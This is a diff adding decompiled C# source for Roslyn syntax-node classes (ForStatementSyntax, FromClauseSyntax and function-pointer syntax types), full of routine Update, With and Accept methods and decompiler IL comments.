//IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000a: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, forKeyword, openParenToken, declaration, initializers, firstSemicolonToken, condition, secondSemicolonToken, incrementors, closeParenToken, statement); + } + + internal ForStatementSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 3 => ((SyntaxNode)this).GetRed(ref declaration, 3), + 4 => ((SyntaxNode)this).GetRed(ref initializers, 4), + 6 => ((SyntaxNode)this).GetRed(ref condition, 6), + 8 => ((SyntaxNode)this).GetRed(ref incrementors, 8), + 10 => ((SyntaxNode)this).GetRed(ref statement, 10), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 3 => declaration, + 4 => initializers, + 6 => condition, + 8 => incrementors, + 10 => statement, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitForStatement(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitForStatement(this); + } + + public ForStatementSyntax Update(SyntaxList attributeLists, SyntaxToken forKeyword, SyntaxToken openParenToken, VariableDeclarationSyntax? declaration, SeparatedSyntaxList initializers, SyntaxToken firstSemicolonToken, ExpressionSyntax? condition, SyntaxToken secondSemicolonToken, SeparatedSyntaxList incrementors, SyntaxToken closeParenToken, StatementSyntax statement) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0096: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00a1: Unknown result type (might be due to invalid IL or missing references) + //IL_00a3: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0049: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + //IL_006e: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || forKeyword != ForKeyword || openParenToken != OpenParenToken || declaration != Declaration || initializers != Initializers || firstSemicolonToken != FirstSemicolonToken || condition != Condition || secondSemicolonToken != SecondSemicolonToken || incrementors != Incrementors || closeParenToken != CloseParenToken || statement != Statement) + { + ForStatementSyntax forStatementSyntax = SyntaxFactory.ForStatement(attributeLists, forKeyword, openParenToken, declaration, initializers, firstSemicolonToken, condition, secondSemicolonToken, incrementors, closeParenToken, statement); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return forStatementSyntax; + } + return forStatementSyntax.WithAnnotations(annotations); + } + return this; + } + + internal override StatementSyntax WithAttributeListsCore(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(attributeLists); + } + + public new ForStatementSyntax WithAttributeLists(SyntaxList attributeLists) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(attributeLists, ForKeyword, OpenParenToken, Declaration, Initializers, FirstSemicolonToken, Condition, SecondSemicolonToken, Incrementors, CloseParenToken, Statement); + } + + public ForStatementSyntax WithForKeyword(SyntaxToken forKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, forKeyword, OpenParenToken, Declaration, Initializers, FirstSemicolonToken, Condition, SecondSemicolonToken, Incrementors, CloseParenToken, Statement); + } + + public ForStatementSyntax WithOpenParenToken(SyntaxToken openParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, ForKeyword, openParenToken, Declaration, Initializers, FirstSemicolonToken, Condition, SecondSemicolonToken, Incrementors, CloseParenToken, Statement); + } + + public ForStatementSyntax WithDeclaration(VariableDeclarationSyntax? declaration) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, ForKeyword, OpenParenToken, declaration, Initializers, FirstSemicolonToken, Condition, SecondSemicolonToken, Incrementors, CloseParenToken, Statement); + } + + public ForStatementSyntax WithInitializers(SeparatedSyntaxList initializers) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, ForKeyword, OpenParenToken, Declaration, initializers, FirstSemicolonToken, Condition, SecondSemicolonToken, Incrementors, CloseParenToken, Statement); + } + + public ForStatementSyntax WithFirstSemicolonToken(SyntaxToken firstSemicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, ForKeyword, OpenParenToken, Declaration, Initializers, firstSemicolonToken, Condition, SecondSemicolonToken, Incrementors, CloseParenToken, Statement); + } + + public ForStatementSyntax WithCondition(ExpressionSyntax? condition) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, ForKeyword, OpenParenToken, Declaration, Initializers, FirstSemicolonToken, condition, SecondSemicolonToken, Incrementors, CloseParenToken, Statement); + } + + public ForStatementSyntax WithSecondSemicolonToken(SyntaxToken secondSemicolonToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, ForKeyword, OpenParenToken, Declaration, Initializers, FirstSemicolonToken, Condition, secondSemicolonToken, Incrementors, CloseParenToken, Statement); + } + + public ForStatementSyntax WithIncrementors(SeparatedSyntaxList incrementors) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, ForKeyword, OpenParenToken, Declaration, Initializers, FirstSemicolonToken, Condition, SecondSemicolonToken, incrementors, CloseParenToken, Statement); + } + + public ForStatementSyntax WithCloseParenToken(SyntaxToken closeParenToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, ForKeyword, OpenParenToken, Declaration, Initializers, FirstSemicolonToken, Condition, SecondSemicolonToken, Incrementors, closeParenToken, Statement); + } + + public ForStatementSyntax WithStatement(StatementSyntax statement) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + return Update(AttributeLists, ForKeyword, OpenParenToken, Declaration, Initializers, FirstSemicolonToken, Condition, SecondSemicolonToken, Incrementors, CloseParenToken, statement); + } + + internal override StatementSyntax AddAttributeListsCore(params AttributeListSyntax[] items) + { + return AddAttributeLists(items); + } + + public new ForStatementSyntax AddAttributeLists(params AttributeListSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithAttributeLists(AttributeLists.AddRange((IEnumerable)items)); + } + + public ForStatementSyntax AddInitializers(params ExpressionSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithInitializers(Initializers.AddRange((IEnumerable)items)); + } + + public ForStatementSyntax AddIncrementors(params ExpressionSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithIncrementors(Incrementors.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FromClauseSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FromClauseSyntax.cs new file mode 100644 index 0000000..815b632 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FromClauseSyntax.cs @@ -0,0 +1,119 @@ +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class FromClauseSyntax : QueryClauseSyntax +{ + private TypeSyntax? type; + + private ExpressionSyntax? expression; + + public SyntaxToken FromKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FromClauseSyntax)(object)((SyntaxNode)this).Green).fromKeyword, ((SyntaxNode)this).Position, 0); + + public TypeSyntax? Type => ((SyntaxNode)this).GetRed(ref type, 1); + + public SyntaxToken Identifier => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FromClauseSyntax)(object)((SyntaxNode)this).Green).identifier, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + public SyntaxToken InKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FromClauseSyntax)(object)((SyntaxNode)this).Green).inKeyword, ((SyntaxNode)this).GetChildPosition(3), ((SyntaxNode)this).GetChildIndex(3)); + + public ExpressionSyntax Expression => ((SyntaxNode)this).GetRed(ref expression, 4); + + internal FromClauseSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => ((SyntaxNode)this).GetRed(ref type, 1), + 4 => ((SyntaxNode)this).GetRed(ref expression, 4), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 1 => type, + 4 => expression, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFromClause(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFromClause(this); + } + + public FromClauseSyntax Update(SyntaxToken fromKeyword, TypeSyntax? type, SyntaxToken identifier, SyntaxToken inKeyword, ExpressionSyntax expression) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_003e: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + if (fromKeyword != FromKeyword || type != Type || identifier != Identifier || inKeyword != InKeyword || expression != Expression) + { + FromClauseSyntax fromClauseSyntax = SyntaxFactory.FromClause(fromKeyword, type, identifier, inKeyword, expression); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return fromClauseSyntax; + } + return fromClauseSyntax.WithAnnotations(annotations); + } + return this; + } + + public FromClauseSyntax WithFromKeyword(SyntaxToken fromKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(fromKeyword, Type, Identifier, InKeyword, Expression); + } + + public FromClauseSyntax WithType(TypeSyntax? type) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(FromKeyword, type, Identifier, InKeyword, Expression); + } + + public FromClauseSyntax WithIdentifier(SyntaxToken identifier) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + return Update(FromKeyword, Type, identifier, InKeyword, Expression); + } + + public FromClauseSyntax WithInKeyword(SyntaxToken inKeyword) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + return Update(FromKeyword, Type, Identifier, inKeyword, Expression); + } + + public FromClauseSyntax WithExpression(ExpressionSyntax expression) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + return Update(FromKeyword, Type, Identifier, InKeyword, expression); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FunctionPointerCallingConventionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FunctionPointerCallingConventionSyntax.cs new file mode 100644 index 0000000..d027e70 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FunctionPointerCallingConventionSyntax.cs @@ -0,0 +1,87 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class FunctionPointerCallingConventionSyntax : CSharpSyntaxNode +{ + private FunctionPointerUnmanagedCallingConventionListSyntax? unmanagedCallingConventionList; + + public SyntaxToken ManagedOrUnmanagedKeyword => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FunctionPointerCallingConventionSyntax)(object)((SyntaxNode)this).Green).managedOrUnmanagedKeyword, ((SyntaxNode)this).Position, 0); + + public FunctionPointerUnmanagedCallingConventionListSyntax? UnmanagedCallingConventionList => ((SyntaxNode)this).GetRed(ref unmanagedCallingConventionList, 1); + + internal FunctionPointerCallingConventionSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)((SyntaxNode)this).GetRed(ref unmanagedCallingConventionList, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return (SyntaxNode?)(object)unmanagedCallingConventionList; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFunctionPointerCallingConvention(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFunctionPointerCallingConvention(this); + } + + public FunctionPointerCallingConventionSyntax Update(SyntaxToken managedOrUnmanagedKeyword, FunctionPointerUnmanagedCallingConventionListSyntax? unmanagedCallingConventionList) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + if (managedOrUnmanagedKeyword != ManagedOrUnmanagedKeyword || unmanagedCallingConventionList != UnmanagedCallingConventionList) + { + FunctionPointerCallingConventionSyntax functionPointerCallingConventionSyntax = SyntaxFactory.FunctionPointerCallingConvention(managedOrUnmanagedKeyword, unmanagedCallingConventionList); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return functionPointerCallingConventionSyntax; + } + return functionPointerCallingConventionSyntax.WithAnnotations(annotations); + } + return this; + } + + public FunctionPointerCallingConventionSyntax WithManagedOrUnmanagedKeyword(SyntaxToken managedOrUnmanagedKeyword) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return Update(managedOrUnmanagedKeyword, UnmanagedCallingConventionList); + } + + public FunctionPointerCallingConventionSyntax WithUnmanagedCallingConventionList(FunctionPointerUnmanagedCallingConventionListSyntax? unmanagedCallingConventionList) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return Update(ManagedOrUnmanagedKeyword, unmanagedCallingConventionList); + } + + public FunctionPointerCallingConventionSyntax AddUnmanagedCallingConventionListCallingConventions(params FunctionPointerUnmanagedCallingConventionSyntax[] items) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + FunctionPointerUnmanagedCallingConventionListSyntax functionPointerUnmanagedCallingConventionListSyntax = UnmanagedCallingConventionList ?? SyntaxFactory.FunctionPointerUnmanagedCallingConventionList(); + return WithUnmanagedCallingConventionList(functionPointerUnmanagedCallingConventionListSyntax.WithCallingConventions(functionPointerUnmanagedCallingConventionListSyntax.CallingConventions.AddRange((IEnumerable)items))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FunctionPointerParameterListSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FunctionPointerParameterListSyntax.cs new file mode 100644 index 0000000..135f920 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FunctionPointerParameterListSyntax.cs @@ -0,0 +1,118 @@ +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class FunctionPointerParameterListSyntax : CSharpSyntaxNode +{ + private SyntaxNode? parameters; + + public SyntaxToken LessThanToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FunctionPointerParameterListSyntax)(object)((SyntaxNode)this).Green).lessThanToken, ((SyntaxNode)this).Position, 0); + + public SeparatedSyntaxList Parameters + { + get + { + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + SyntaxNode red = ((SyntaxNode)this).GetRed(ref parameters, 1); + if (red == null) + { + return default(SeparatedSyntaxList); + } + return new SeparatedSyntaxList(red, ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public SyntaxToken GreaterThanToken => new SyntaxToken((SyntaxNode)(object)this, (GreenNode)(object)((Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.FunctionPointerParameterListSyntax)(object)((SyntaxNode)this).Green).greaterThanToken, ((SyntaxNode)this).GetChildPosition(2), ((SyntaxNode)this).GetChildIndex(2)); + + internal FunctionPointerParameterListSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base((GreenNode)(object)green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + if (index != 1) + { + return null; + } + return ((SyntaxNode)this).GetRed(ref parameters, 1); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + if (index != 1) + { + return null; + } + return parameters; + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFunctionPointerParameterList(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFunctionPointerParameterList(this); + } + + public FunctionPointerParameterListSyntax Update(SyntaxToken lessThanToken, SeparatedSyntaxList parameters, SyntaxToken greaterThanToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_002b: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (lessThanToken != LessThanToken || parameters != Parameters || greaterThanToken != GreaterThanToken) + { + FunctionPointerParameterListSyntax functionPointerParameterListSyntax = SyntaxFactory.FunctionPointerParameterList(lessThanToken, parameters, greaterThanToken); + SyntaxAnnotation[] annotations = ((SyntaxNode)this).GetAnnotations(); + if (annotations == null || annotations.Length == 0) + { + return functionPointerParameterListSyntax; + } + return functionPointerParameterListSyntax.WithAnnotations(annotations); + } + return this; + } + + public FunctionPointerParameterListSyntax WithLessThanToken(SyntaxToken lessThanToken) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(lessThanToken, Parameters, GreaterThanToken); + } + + public FunctionPointerParameterListSyntax WithParameters(SeparatedSyntaxList parameters) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + return Update(LessThanToken, parameters, GreaterThanToken); + } + + public FunctionPointerParameterListSyntax WithGreaterThanToken(SyntaxToken greaterThanToken) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + return Update(LessThanToken, Parameters, greaterThanToken); + } + + public FunctionPointerParameterListSyntax AddParameters(params FunctionPointerParameterSyntax[] items) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + return WithParameters(Parameters.AddRange((IEnumerable)items)); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FunctionPointerParameterSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FunctionPointerParameterSyntax.cs new file mode 100644 index 0000000..0223821 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax/FunctionPointerParameterSyntax.cs @@ -0,0 +1,153 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax; + +public sealed class FunctionPointerParameterSyntax : BaseParameterSyntax +{ + private SyntaxNode? attributeLists; + + private TypeSyntax? type; + + public override SyntaxList AttributeLists => new SyntaxList(((SyntaxNode)this).GetRed(ref attributeLists, 0)); + + public override SyntaxTokenList Modifiers + { + get + { + //IL_002a: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + GreenNode slot = ((SyntaxNode)this).Green.GetSlot(1); + if (slot == null) + { + return default(SyntaxTokenList); + } + return new SyntaxTokenList((SyntaxNode)(object)this, slot, ((SyntaxNode)this).GetChildPosition(1), ((SyntaxNode)this).GetChildIndex(1)); + } + } + + public override TypeSyntax Type => ((SyntaxNode)this).GetRed(ref type, 2); + + internal FunctionPointerParameterSyntax(Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax.CSharpSyntaxNode green, SyntaxNode? parent, int position) + : base(green, parent, position) + { + } + + internal override SyntaxNode? GetNodeSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => ((SyntaxNode)this).GetRedAtZero(ref attributeLists), + 2 => ((SyntaxNode)this).GetRed(ref type, 2), + _ => null, + }); + } + + internal override SyntaxNode? GetCachedSlot(int index) + { + return (SyntaxNode?)(index switch + { + 0 => attributeLists, + 2 => type, + _ => null, + }); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFunctionPointerParameter(this); + } + + public override TResult? Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFunctionPointerParameter(this); + } + + public FunctionPointerParameterSyntax Update(SyntaxList attributeLists, SyntaxTokenList modifiers, TypeSyntax type) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0025: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing 